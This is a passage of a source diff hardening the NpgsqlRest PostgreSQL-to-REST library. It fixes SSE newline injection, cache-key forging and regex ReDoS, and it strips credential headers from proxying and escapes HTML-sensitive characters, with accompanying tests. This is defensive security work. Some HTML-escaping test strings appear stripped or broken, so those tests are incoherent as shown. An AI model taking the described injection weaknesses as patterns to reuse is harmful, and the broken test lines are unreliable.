(compositeFieldBuffer is not null) + } + + // Every field, back to the value a new request starts with. A field added above must be added here. + private void Reset() + { + context = default!; + cancellationToken = default; + serviceProvider = null; + routine = default!; + endpoint = default!; + formatter = default!; + writer = default!; + connection = null; + transaction = null; + command = default!; + shouldDispose = true; + shouldCommit = true; + noticeHandler = null; + uploadHandler = null; + proxyOutBuffer = null; + proxyOutOriginalBody = null; + cmdLog = null; + cacheKeys = null; + commandTextBuilder = null; + shouldLog = false; + customHttpTypes = default!; + queryCollection = null; + bodyDict = null; + body = null; + jsonObj = null; + hasNulls = false; + paramIndex = 0; + claimsDict = null; + headers = null; + uploadMetaParamIndex = -1; + basicAuthCheckedFor = null; + commandText = null; + customParameters = null; + resolvedCache = null; + cacheKeyString = null; + bypassCache = false; + cacheTtlOverride = null; + contextWithRoutine = false; + contextBatch = null; + contextPairs?.Clear(); + } + } + + private static void SetScalarContentType(HttpContext context, TypeDescriptor descriptor, bool raw) + { + if (context.Response.ContentType is null) + { + if (descriptor.IsBinary) { - StringBuilderPool.Return(compositeFieldBuffer); + context.Response.ContentType = Application.Octet; } - if (mcRowBuilder is not null) + // An array is written as a JSON array, unless the endpoint is raw: then it is PostgreSQL's array text. + else if ((descriptor.Category & TypeCategory.Json) != 0 || (descriptor.IsArray && raw is false)) { - StringBuilderPool.Return(mcRowBuilder); + context.Response.ContentType = Application.Json; } - if (mcCompositeBuffer is not null) + else { - StringBuilderPool.Return(mcCompositeBuffer); + context.Response.ContentType = Text.Plain; } } } -} \ No newline at end of file + + /// + /// True when column bytes can be used as they arrive: they are guaranteed to be valid UTF-8 when the client + /// encoding is UTF8 (Npgsql's default) and the database is not SQL_ASCII (which stores bytes unvalidated). + /// Otherwise values go through Npgsql's string decoding. + /// + private static bool IsUtf8Wire(NpgsqlConnection connection) + { + try + { + var parameters = connection.PostgresParameters; + return parameters.TryGetValue("client_encoding", out var clientEncoding) + && string.Equals(clientEncoding, "UTF8", StringComparison.OrdinalIgnoreCase) + && parameters.TryGetValue("server_encoding", out var serverEncoding) + && string.Equals(serverEncoding, "SQL_ASCII", StringComparison.OrdinalIgnoreCase) is false; + } + catch (InvalidOperationException) + { + return false; + } + } +} diff --git a/NpgsqlRest/NpgsqlRestParameter.cs b/NpgsqlRest/NpgsqlRestParameter.cs index 7095b9c3..8e6b629e 100644 --- a/NpgsqlRest/NpgsqlRestParameter.cs +++ b/NpgsqlRest/NpgsqlRestParameter.cs @@ -149,6 +149,28 @@ internal string GetCacheStringValue() internal static char GetCacheKeySeparator() => CacheKeySeparator; + /// + /// Appends this parameter to a cache key as \x1F{name}={length}:{value} (or \x1F{name}=N for NULL). + /// The name keeps omitted parameters apart (?a=x and ?b=x used to produce the same key), and the + /// length prefix makes the encoding unambiguous - a value containing the separator (e.g. %1F in a query + /// string) can no longer forge another parameter list. + /// + internal void AppendCacheKey(StringBuilder? key) + { + if (key is null) + { + return; + } + key.Append(CacheKeySeparator).Append(ActualName).Append('='); + if (Value is null || Value == DBNull.Value) + { + key.Append('N'); + return; + } + var value = GetCacheStringValue(); + key.Append(value.Length).Append(':').Append(value); + } + #pragma warning disable CS8618 // Non-nullable field must contain a non-null value when exiting constructor. Consider adding the 'required' modifier or declaring as nullable. #pragma warning disable CS8603 // Possible null reference return. public NpgsqlRestParameter NpgsqlRestParameterMemberwiseClone() => MemberwiseClone() as NpgsqlRestParameter; diff --git a/NpgsqlRest/NpgsqlRestSseEventSource.cs b/NpgsqlRest/NpgsqlRestSseEventSource.cs index 6a5c8bbb..2865ff34 100644 --- a/NpgsqlRest/NpgsqlRestSseEventSource.cs +++ b/NpgsqlRest/NpgsqlRestSseEventSource.cs @@ -11,7 +11,48 @@ public readonly record struct SseEvent( public class NpgsqlRestSseEventSource(RequestDelegate next) { public static readonly HashSet Paths = []; - public static readonly Broadcaster Broadcaster = new(); + /// + /// Events buffered for one SSE subscriber that is not reading (a stalled or deliberately idle client). When the + /// buffer is full the oldest pending event is dropped, so idle subscribers cannot grow server memory without limit. + /// + public const int MaxPendingEventsPerSubscriber = 10_000; + + public static readonly Broadcaster Broadcaster = new(MaxPendingEventsPerSubscriber); + + /// + /// Formats a message as one SSE event. Every line of the message gets its own data: line (the client joins + /// them back with "\n"), so a line break in the message cannot start another field (event:, id:, + /// retry:) or end the event early and forge a second one. + /// + internal static string FormatEventData(string? message) + { + if (string.IsNullOrEmpty(message)) + { + return "data: \n\n"; + } + if (message.AsSpan().IndexOfAny('\r', '\n') < 0) + { + return string.Concat("data: ", message, "\n\n"); + } + var sb = new System.Text.StringBuilder(message.Length + 16); + sb.Append("data: "); + for (var i = 0; i < message.Length; i++) + { + var ch = message[i]; + if (ch == '\r' || ch == '\n') + { + if (ch == '\r' && i + 1 < message.Length && message[i + 1] == '\n') + { + i++; + } + sb.Append("\ndata: "); + continue; + } + sb.Append(ch); + } + sb.Append("\n\n"); + return sb.ToString(); + } /// /// True if any endpoint in the build participates in SSE — either as a publisher (@sse / @@ -96,15 +137,20 @@ public async Task InvokeAsync(HttpContext context) scope = parsedScope; if (scope == SseEventsScope.Authorize && words.Length > 1) { - // if info roles already exist, merge them with the new ones - infoEventsRoles ??= new HashSet(StringComparer.OrdinalIgnoreCase); + // Merge the hint roles into a per-event COPY. (They used to be added to the endpoint's + // shared SseEventsRoles set: hint roles accumulated permanently, so later events reached + // recipients meant only for earlier ones, and the set was mutated concurrently.) + var merged = infoEventsRoles is null + ? new HashSet(StringComparer.OrdinalIgnoreCase) + : new HashSet(infoEventsRoles, StringComparer.OrdinalIgnoreCase); foreach (var word in words[1..]) { - if (infoEventsRoles.Contains(word) is false && string.IsNullOrWhiteSpace(word) is false) + if (string.IsNullOrWhiteSpace(word) is false) { - infoEventsRoles.Add(word); + merged.Add(word); } } + infoEventsRoles = merged; } } else @@ -125,27 +171,10 @@ public async Task InvokeAsync(HttpContext context) continue; // Skip events for unauthorized users } - if (endpoint?.AuthorizeRoles is not null) + if (endpoint?.AuthorizeRoles is not null && + RoutineEndpoint.MatchesAuthorizeList(endpoint.AuthorizeRoles, context.User, Options.AuthenticationOptions) is false) { - bool ok = false; - foreach (var claim in context.User?.Claims ?? []) - { - if ( - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultUserIdClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultNameClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultRoleClaimType, StringComparison.Ordinal)) - { - if (endpoint?.AuthorizeRoles.Contains(claim.Value) is true) - { - ok = true; - break; - } - } - } - if (ok is false) - { - continue; - } + continue; } } else if (scope == SseEventsScope.Authorize) @@ -155,37 +184,16 @@ public async Task InvokeAsync(HttpContext context) continue; // Skip events for unauthorized users } - if (infoEventsRoles is not null) + if (infoEventsRoles is not null && + RoutineEndpoint.MatchesAuthorizeList(infoEventsRoles, context.User, Options.AuthenticationOptions) is false) { - bool ok = false; - if (context.User?.Claims is not null) - { - foreach (var claim in context.User?.Claims!) - { - if ( - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultUserIdClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultNameClaimType, StringComparison.Ordinal) || - string.Equals(claim.Type, Options.AuthenticationOptions.DefaultRoleClaimType, StringComparison.Ordinal) - ) - { - if (infoEventsRoles.Contains(claim.Value) is true) - { - ok = true; - break; - } - } - } - } - if (ok is false) - { - continue; - } + continue; } } try { - await context.Response.WriteAsync($"data: {noticeEvent.Notice.MessageText}\n\n", cancellationToken); + await context.Response.WriteAsync(FormatEventData(noticeEvent.Notice.MessageText), cancellationToken); await context.Response.Body.FlushAsync(cancellationToken); } catch (OperationCanceledException) diff --git a/NpgsqlRest/Options/CacheOptions.cs b/NpgsqlRest/Options/CacheOptions.cs index cf970c41..adca0590 100644 --- a/NpgsqlRest/Options/CacheOptions.cs +++ b/NpgsqlRest/Options/CacheOptions.cs @@ -12,6 +12,13 @@ public class CacheOptions /// public int MemoryCachePruneIntervalSeconds { get; set; } = 60; + /// + /// Maximum number of entries held by the in-memory routine cache. Once full, responses for new cache keys are + /// served without being cached (existing entries keep serving and expire normally). 0 or less = no limit. + /// Default is 100,000. + /// + public int MemoryCacheMaxEntries { get; set; } = 100_000; + /// /// Maximum number of rows that can be cached for set-returning functions. /// If a result set exceeds this limit, it will not be cached (but will still be returned). diff --git a/NpgsqlRest/Options/NpgsqlRestOptions.cs b/NpgsqlRest/Options/NpgsqlRestOptions.cs index 31fb6299..de8e65c6 100644 --- a/NpgsqlRest/Options/NpgsqlRestOptions.cs +++ b/NpgsqlRest/Options/NpgsqlRestOptions.cs @@ -249,10 +249,22 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) /// public CommentsMode CommentsMode { get; set; } = CommentsMode.OnlyWithHttpTag; + /// + /// When true, a comment line is an annotation only if it begins with @: @http get, + /// @authorize admin, @timeout = 30s, @Content-Type: text/plain. Every other line is text + /// (the endpoint's description), whatever word it begins with, so a sentence such as "Disabled until Friday" + /// or "Note: see the docs" can never be taken for an annotation. This also applies to the lines a SQL file + /// source reads (@returns, @result, @single, @skip, @param, + /// @define_param) and to the directives in the comment of an HTTP Custom Type (@timeout, + /// @retry_delay, @cache; its request line and headers are HTTP syntax and take no prefix). + /// Default is false: the prefix is optional, and a line is read with or without it. + /// + public bool RequireAtPrefix { get; set; } = false; + /// /// Configure how to send request headers to PostgreSQL routines execution: /// - `Ignore` (default) don't send any request headers to routines. - /// - `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions. + /// - `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`. /// - `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. /// /// This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations. @@ -275,10 +287,30 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) /// **Required for connection poolers in transaction mode** (PgBouncer transaction-pool, AWS RDS Proxy in transaction /// mode, Supabase Pooler) — without this, the backend can be reused across unrelated requests, allowing GUC state /// (and the routine call itself) to leak or split mid-request. Default is false to preserve existing behavior; - /// safe to leave off when using Npgsql's native pool only. + /// safe to leave off with Npgsql's native pool as long as connections are reset when returned to the pool + /// (the default; i.e. the connection string does not set "No Reset On Close"). /// public bool WrapInTransaction { get; set; } = false; + /// + /// Set by UseNpgsqlRest when the endpoints are built (read it afterwards): true when a request can leave + /// session-level settings on its database connection, so pooled connections have to be reset when they return to + /// the pool (Npgsql does that unless the connection string sets "No Reset On Close"). + /// + /// The request context (`user_context`, `request_headers context`) of functions, tables, views and SQL files with + /// a single query or data change is sent to PostgreSQL together with the routine, as settings local to that one + /// transaction, and leaves nothing behind. Without , the flag is true when the + /// context is used by an endpoint that cannot do that - a procedure, an upload, login or logout endpoint, a SQL + /// file with several statements or with a statement that is not a query or data change, a routine returning a + /// single bytea value - or by any endpoint when is set; when an upload endpoint + /// sets the upload metadata context key; and when are configured. + /// + /// False when nothing NpgsqlRest does stays on a connection after the request - with WrapInTransaction every + /// setting is local to the request's transaction. Such an application can skip the reset, and what the reset + /// costs PostgreSQL on every request. Session state left behind by your own SQL is not covered by this flag. + /// + public bool ConnectionResetRequired { get; internal set; } + /// /// Controls how JSON datetime strings are interpreted when bound to `timestamp`, `timestamptz`, `time`, or `timetz` /// parameters. When true (the default, since 3.16.0), `Z`- and offset-bearing strings are converted to UTC and naive @@ -335,16 +367,27 @@ public NpgsqlRestOptions(NpgsqlDataSource dataSource) public QueryStringNullHandling QueryStringNullHandling { get; set; } = QueryStringNullHandling.Ignore; /// - /// The number of rows to buffer in the string builder before sending the response. The default is 25. + /// The number of rows to collect before they can be sent to the client. The default is 25. /// This applies to rows in JSON object array when returning records from the database. /// Set to 0 to disable buffering and write a response for each row. /// Set to 1 to buffer the entire array (all rows). + /// Every this many rows, the collected rows are sent if they amount to at least . /// Notes: /// - Disabling buffering can have a slight negative impact on performance since buffering is far less expensive than writing to the response stream. /// - Setting higher values can have a negative impact on memory usage, especially when returning large datasets. /// public ulong BufferRows { get; set; } = 25; + /// + /// The number of bytes of rows to collect before sending them to the client. The default is 16384 (16 KB). + /// Checked every rows: rows are sent once at least this much is collected, and at the + /// end. A response smaller than this is therefore sent in one piece - one network write instead of one per + /// rows - and, if the query fails part-way, the client gets an error response instead of + /// a truncated one. Set to 0 to send after every rows regardless of size (the behavior + /// before 4.0.0). Not used when BufferRows is 0 (every row is sent) or 1 (all rows are buffered). + /// + public int ResponseBufferBytes { get; set; } = 16 * 1024; + /// /// Default Authentication Options /// diff --git a/NpgsqlRest/Options/ProxyOptions.cs b/NpgsqlRest/Options/ProxyOptions.cs index df6c6492..907d9574 100644 --- a/NpgsqlRest/Options/ProxyOptions.cs +++ b/NpgsqlRest/Options/ProxyOptions.cs @@ -32,13 +32,18 @@ public class ProxyOptions /// /// Headers to exclude from forwarding to the proxy target. - /// Default excludes Host, Content-Length, and Transfer-Encoding. + /// Default excludes Host, Content-Length, Transfer-Encoding and the caller's credentials (Cookie, Authorization, + /// Proxy-Authorization), so a user's session cookie or bearer token is not sent to the upstream host - which may be + /// a third party. Remove Authorization from this list to forward bearer tokens to a trusted internal service. /// public HashSet ExcludeHeaders { get; set; } = new(StringComparer.OrdinalIgnoreCase) { "Host", "Content-Length", - "Transfer-Encoding" + "Transfer-Encoding", + "Cookie", + "Authorization", + "Proxy-Authorization" }; /// @@ -53,7 +58,8 @@ public class ProxyOptions public HashSet ExcludeResponseHeaders { get; set; } = new(StringComparer.OrdinalIgnoreCase) { "Transfer-Encoding", - "Content-Length" + "Content-Length", + "Set-Cookie" }; /// diff --git a/NpgsqlRest/Options/ValidationOptions.cs b/NpgsqlRest/Options/ValidationOptions.cs index 6a37fa5d..e35401b7 100644 --- a/NpgsqlRest/Options/ValidationOptions.cs +++ b/NpgsqlRest/Options/ValidationOptions.cs @@ -47,7 +47,49 @@ public class ValidationRule /// /// Regular expression pattern for Regex validation type. /// - public string? Pattern { get; set; } + public string? Pattern + { + get => _pattern; + set + { + _pattern = value; + _regex = null; + } + } + private string? _pattern; + private System.Text.RegularExpressions.Regex? _regex; + + /// + /// Time limit for one Regex rule evaluation. A value that takes longer fails validation. + /// + public static readonly TimeSpan RegexMatchTimeout = TimeSpan.FromMilliseconds(250); + + /// + /// The compiled , built once. Patterns run on request values, so they use the linear-time + /// non-backtracking engine when the pattern allows it (no backreferences or lookarounds) - a backtracking pattern + /// such as the built-in email rule took quadratic time on crafted input. Either engine has a match timeout. + /// + internal System.Text.RegularExpressions.Regex? GetRegex() + { + if (_pattern is null) + { + return null; + } + if (_regex is not null) + { + return _regex; + } + System.Text.RegularExpressions.Regex regex; + try + { + regex = new(_pattern, System.Text.RegularExpressions.RegexOptions.NonBacktracking, RegexMatchTimeout); + } + catch (NotSupportedException) + { + regex = new(_pattern, System.Text.RegularExpressions.RegexOptions.None, RegexMatchTimeout); + } + return _regex = regex; + } /// /// Minimum length for MinLength validation type. diff --git a/NpgsqlRest/ParameterParser.cs b/NpgsqlRest/ParameterParser.cs index ec4f2b5a..b8f8d10a 100644 --- a/NpgsqlRest/ParameterParser.cs +++ b/NpgsqlRest/ParameterParser.cs @@ -8,6 +8,28 @@ namespace NpgsqlRest; internal static class ParameterParser { + /// + /// Binds the default declared in a parameter annotation (param ... default value) to a parameter the + /// request did not supply. The annotation gives the value as text, so for a typed parameter + /// (@param $1 _limit int default 10) it is parsed to that type exactly as a query string value would be; + /// binding the text itself fails in Npgsql ("Writing values of 'System.String' is not supported for parameters + /// having NpgsqlDbType 'Integer'"). Text that does not parse is bound unchanged, and so is an array default. + /// + internal static void BindDefaultValue(NpgsqlRestParameter parameter) + { + if (parameter.DefaultValue is string text + && parameter.TypeDescriptor.IsArray is false + && parameter.TypeDescriptor.IsText is false) + { + StringValues values = text; + if (TryParseParameter(parameter, ref values, QueryStringNullHandling.Ignore)) + { + return; + } + } + parameter.Value = parameter.DefaultValue; + } + internal static bool TryParseParameter( NpgsqlRestParameter parameter, ref StringValues values, diff --git a/NpgsqlRest/PgConverters.cs b/NpgsqlRest/PgConverters.cs index 198acd8f..7bb13770 100644 --- a/NpgsqlRest/PgConverters.cs +++ b/NpgsqlRest/PgConverters.cs @@ -36,6 +36,25 @@ public static class PgConverters Justification = "Serializes only string type that have AOT friendly TypeInfoResolver")] public static string SerializeString(string value) => JsonSerializer.Serialize(value, PlainTextSerializerOptions); + // Escapes HTML-sensitive characters (< > & ' " +) as \uXXXX while keeping other Unicode text as-is: the result is + // a valid JSON/JavaScript string literal that is also safe inside an HTML ")); + + Parse(parser, "", ctx) + .Should().Be(""); + } + + [Fact] + public void ClaimValue_NonAsciiTextIsKept_HtmlSensitiveCharactersEscaped() + { + var parser = Parser(claims: new() { ["user_name"] = null }); + var ctx = WithClaims(("user_name", "José & O'Brien \"Ž\"")); + + Parse(parser, "{user_name}", ctx).Should().Be("\"José \\u0026 O\\u0027Brien \\u0022Ž\\u0022\""); + } + [Fact] public void EmptyAvailableEnvVars_PassesContentThrough() { @@ -92,8 +113,8 @@ public void EnvVarValueWithQuotes_IsJsonEscaped() try { var parser = Parser(envVars: new() { [name] = null }); - // " -> \" and \ -> \\ , so it stays a single well-formed JS string literal - Parse(parser, $"v: {{{name}}};", Anonymous()).Should().Be("v: \"a\\\"b\\\\c\";"); + // " -> " (HTML-safe form of \") and \ -> \\ , so it stays a single well-formed JS string literal + Parse(parser, $"v: {{{name}}};", Anonymous()).Should().Be("v: \"a\\u0022b\\\\c\";"); } finally { diff --git a/NpgsqlRestTests/ConfigTests/TsClientDefaultJsonTypeTests.cs b/NpgsqlRestTests/ConfigTests/TsClientDefaultJsonTypeTests.cs new file mode 100644 index 00000000..cb58ebba --- /dev/null +++ b/NpgsqlRestTests/ConfigTests/TsClientDefaultJsonTypeTests.cs @@ -0,0 +1,28 @@ +using NpgsqlRest.TsClient; +using NpgsqlRestClient; + +namespace NpgsqlRestTests.ConfigTests; + +/// +/// Regression: with ClientCodeGen:DefaultJsonType not set, the npgsqlrest client used "string" while +/// appsettings.json, the configuration reference and the plugin's own option default all say "any". A +/// configuration without the key therefore typed json and jsonb values as string in the generated +/// TypeScript (multi-command SQL file results, fields of composite types), which is wrong - the value is JSON. +/// The three places must agree. +/// +public class TsClientDefaultJsonTypeTests +{ + [Fact] + public void Client_fallback_matches_the_plugin_option_default() + { + App.TsClientDefaultJsonType.Should().Be(new TsClientOptions().DefaultJsonType); + } + + [Fact] + public void Client_fallback_matches_the_documented_configuration_default() + { + var documented = ConfigDefaults.GetDefaults()["NpgsqlRest"]!["ClientCodeGen"]!["DefaultJsonType"]!.GetValue(); + App.TsClientDefaultJsonType.Should().Be(documented); + documented.Should().Be("any"); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs b/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs new file mode 100644 index 00000000..95f92ef9 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs @@ -0,0 +1,143 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.Extensions.Logging; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ConnectionResetRequiredTests() + { + script.Append(""" + create function crr_plain() returns text language sql stable as $$ select 'plain' $$; + comment on function crr_plain() is 'HTTP GET'; + + create function crr_user_context() returns text language sql stable as $$ select current_setting('request.user_id', true) $$; + comment on function crr_user_context() is 'HTTP GET + user_context'; + + create function crr_headers_context() returns text language sql stable as $$ select current_setting('request.headers', true) $$; + comment on function crr_headers_context() is 'HTTP GET + request_headers context'; + + create procedure crr_proc_user_context() language plpgsql as $$ begin perform current_setting('request.user_id', true); end $$; + comment on procedure crr_proc_user_context() is 'HTTP POST + user_context'; + + create function crr_bytes_user_context() returns bytea language sql stable as $$ select convert_to(current_setting('request.user_id', true), 'utf8') $$; + comment on function crr_bytes_user_context() is 'HTTP GET + user_context'; + """); + } +} + +/// +/// NpgsqlRestOptions.ConnectionResetRequired tells the host whether a request can leave session-level settings on its +/// connection - that is, whether pooled connections have to be reset between requests. UseNpgsqlRest sets it from +/// the endpoints it builds. +/// +/// The request context of functions, tables, views and single-statement SQL files is sent together with the routine, +/// as settings local to that one batch (RequestContextBatch), so it leaves nothing behind. What still does: the +/// context of procedures and of the few other endpoints that cannot use the batch, BeforeRoutineCommands, and uploads +/// with a metadata context key. +/// +public class ConnectionResetRequiredTests +{ + private static async Task BuildAsync(string nameSimilarTo, Action? configure = null) + { + var builder = WebApplication.CreateBuilder(); + builder.Logging.ClearProviders(); + await using var app = builder.Build(); + + var options = new NpgsqlRestOptions(Database.Create()) + { + IncludeSchemas = ["public"], + NameSimilarTo = nameSimilarTo, + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + }; + configure?.Invoke(options); + + // UseNpgsqlRest makes its options and logger the current ones for the process. These apps never serve a + // request, so the ones of the app that does are put back. + var currentOptions = NpgsqlRestOptions.Options; + var currentLogger = NpgsqlRestOptions.Logger; + try + { + app.UseNpgsqlRest(options); + } + finally + { + NpgsqlRestOptions.Options = currentOptions; + NpgsqlRestOptions.Logger = currentLogger; + } + return options; + } + + [Fact] + public async Task Not_required_when_no_endpoint_sets_a_context() + { + (await BuildAsync("crr[_]plain")).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Not_required_when_user_context_is_sent_with_the_function() + { + (await BuildAsync("crr[_](plain|user[_]context)")).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Not_required_when_request_headers_context_is_sent_with_the_function() + { + (await BuildAsync("crr[_](plain|headers[_]context)")).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Required_when_a_procedure_uses_user_context() + { + // a procedure can commit, which would end local settings: its context stays at session level + (await BuildAsync("crr[_](plain|user[_]context|proc[_]user[_]context)")).ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Required_when_a_function_returning_bytea_uses_user_context() + { + // read as binary, which a batch with text results cannot do: its context stays at session level + (await BuildAsync("crr[_](plain|bytes[_]user[_]context)")).ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Required_when_a_command_callback_is_set_and_an_endpoint_uses_user_context() + { + // the callback works with the routine's command and may run it itself: the context is set before it + (await BuildAsync("crr[_](plain|user[_]context)", o => o.CommandCallbackAsync = (_, _, _) => Task.CompletedTask)) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Required_when_before_routine_commands_are_configured() + { + (await BuildAsync("crr[_]plain", o => o.BeforeRoutineCommands = ["select set_config('app.tenant', 'x', false)"])) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Not_required_with_WrapInTransaction_because_settings_are_local_to_the_transaction() + { + (await BuildAsync("crr[_](plain|user[_]context|headers[_]context|proc[_]user[_]context)", o => + { + o.WrapInTransaction = true; + o.BeforeRoutineCommands = ["select set_config('app.tenant', 'x', true)"]; + })).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Not_required_when_user_context_has_no_context_keys_to_set() + { + (await BuildAsync("crr[_](plain|user[_]context|proc[_]user[_]context)", o => + { + o.AuthenticationOptions.IpAddressContextKey = null; + o.AuthenticationOptions.ClaimsJsonContextKey = null; + o.AuthenticationOptions.ContextKeyClaimsMapping = []; + })).ConnectionResetRequired.Should().BeFalse(); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs b/NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs new file mode 100644 index 00000000..6e078180 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/ConnectionResetTests.cs @@ -0,0 +1,150 @@ +using Npgsql; +using NpgsqlRestClient; + +namespace NpgsqlRestTests.ConnectionTests; + +/// +/// The npgsqlrest client builds its data sources in two variants and uses one of them for requests: +/// - with the connection reset, when a request can leave session-level settings on its connection (user_context, for +/// example). The reset clears them when the connection goes back to the pool, without discarding the cached plans +/// of PL/pgSQL functions, which Npgsql's default reset (DISCARD ALL) does on every reuse; +/// - without the reset, when nothing can stay on a connection. +/// "No Reset On Close" in the connection string overrides both. +/// +public class ConnectionResetTests +{ + private static Builder NewBuilder() + { + var tempFile = Path.GetTempFileName(); + File.WriteAllText(tempFile, "{}"); + var config = new Config(); + try + { + config.Build([tempFile], []); + } + finally + { + File.Delete(tempFile); + } + return new Builder(config); + } + + // One physical connection, so the second OpenConnection reuses the first one's session. + // "No Reset On Close" is written only when true: setting the property at all puts the key into the string, and a + // connection string that has the key is left alone by the client (see the last tests). + private static string ConnectionString(bool noResetOnClose) + { + var builder = new NpgsqlConnectionStringBuilder(Database.Create()) { MaxPoolSize = 1 }; + if (noResetOnClose) + { + builder.NoResetOnClose = true; + } + return builder.ConnectionString; + } + + private static async Task ScalarAsync(NpgsqlConnection connection, string sql) + { + await using var command = new NpgsqlCommand(sql, connection); + return (T?)await command.ExecuteScalarAsync(); + } + + [Fact] + public async Task Reset_clears_session_settings_and_keeps_prepared_statements() + { + await using var dataSource = NewBuilder().BuildMainDataSource(ConnectionString(noResetOnClose: false)); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'alice', false)"); + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be("alice"); + // the statement the client prepares on every physical connection + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(1); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + // the previous request's session setting is gone + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be(""); + // DISCARD ALL would have deallocated it (and discarded every cached plan with it) + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(1); + } + } + + [Fact] + public async Task Variant_without_reset_keeps_session_settings_and_prepares_nothing() + { + await using var dataSource = NewBuilder().BuildMainDataSource(ConnectionString(noResetOnClose: false), skipConnectionReset: true); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'carol', false)"); + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(0); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + // this is why the variant is only used when no endpoint leaves session-level settings behind + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be("carol"); + } + } + + [Fact] + public async Task Connection_string_that_asks_for_the_reset_gets_it_in_both_variants() + { + var connectionString = ConnectionString(noResetOnClose: false) + ";No Reset On Close=false"; + await using var dataSource = NewBuilder().BuildMainDataSource(connectionString, skipConnectionReset: true); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'dave', false)"); + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(1); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be(""); + } + } + + [Theory] + [InlineData("Host=localhost;Database=db;Username=u;Password=p", false)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;No Reset On Close=true", true)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;No Reset On Close=false", true)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;NoResetOnClose=True", true)] + [InlineData("Host=localhost;Database=db;Username=u;Password=p;no reset on close=FALSE", true)] + public void Detects_a_connection_string_that_sets_the_reset_itself(string connectionString, bool expected) + { + Builder.IsConnectionResetConfigured(connectionString).Should().Be(expected); + } + + [Fact] + public async Task No_reset_on_close_is_respected() + { + await using var dataSource = NewBuilder().BuildMainDataSource(ConnectionString(noResetOnClose: true)); + + int processId; + await using (var connection = await dataSource.OpenConnectionAsync()) + { + processId = connection.ProcessID; + await ScalarAsync(connection, "select set_config('reset_test.user_id', 'bob', false)"); + // nothing is prepared when connections are not reset + (await ScalarAsync(connection, "select count(*) from pg_prepared_statements")).Should().Be(0); + } + + await using (var connection = await dataSource.OpenConnectionAsync()) + { + connection.ProcessID.Should().Be(processId, "the pool has one connection"); + // not reset: the setting is still there (why "No Reset On Close" must be a deliberate choice) + (await ScalarAsync(connection, "select current_setting('reset_test.user_id', true)")).Should().Be("bob"); + } + } +} diff --git a/NpgsqlRestTests/ConnectionTests/InfrastructureErrorDisclosureTests.cs b/NpgsqlRestTests/ConnectionTests/InfrastructureErrorDisclosureTests.cs new file mode 100644 index 00000000..6fd0a6b9 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/InfrastructureErrorDisclosureTests.cs @@ -0,0 +1,79 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Logging; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + // `ierr_` routines are excluded from the default fixture by its NameNotSimilarTo list. + public static void InfrastructureErrorDisclosureTests() + { + script.Append(""" +create function ierr_unreachable() returns text language sql as 'select ''x'''; +comment on function ierr_unreachable() is ' +HTTP GET +connection unreachable'; + +create function ierr_raised() returns text language plpgsql as 'begin raise exception ''Visible business error''; end'; +comment on function ierr_raised() is ' +HTTP GET'; +"""); + } +} + +/// +/// Security regression: a 500 caused by the infrastructure (here: the database is 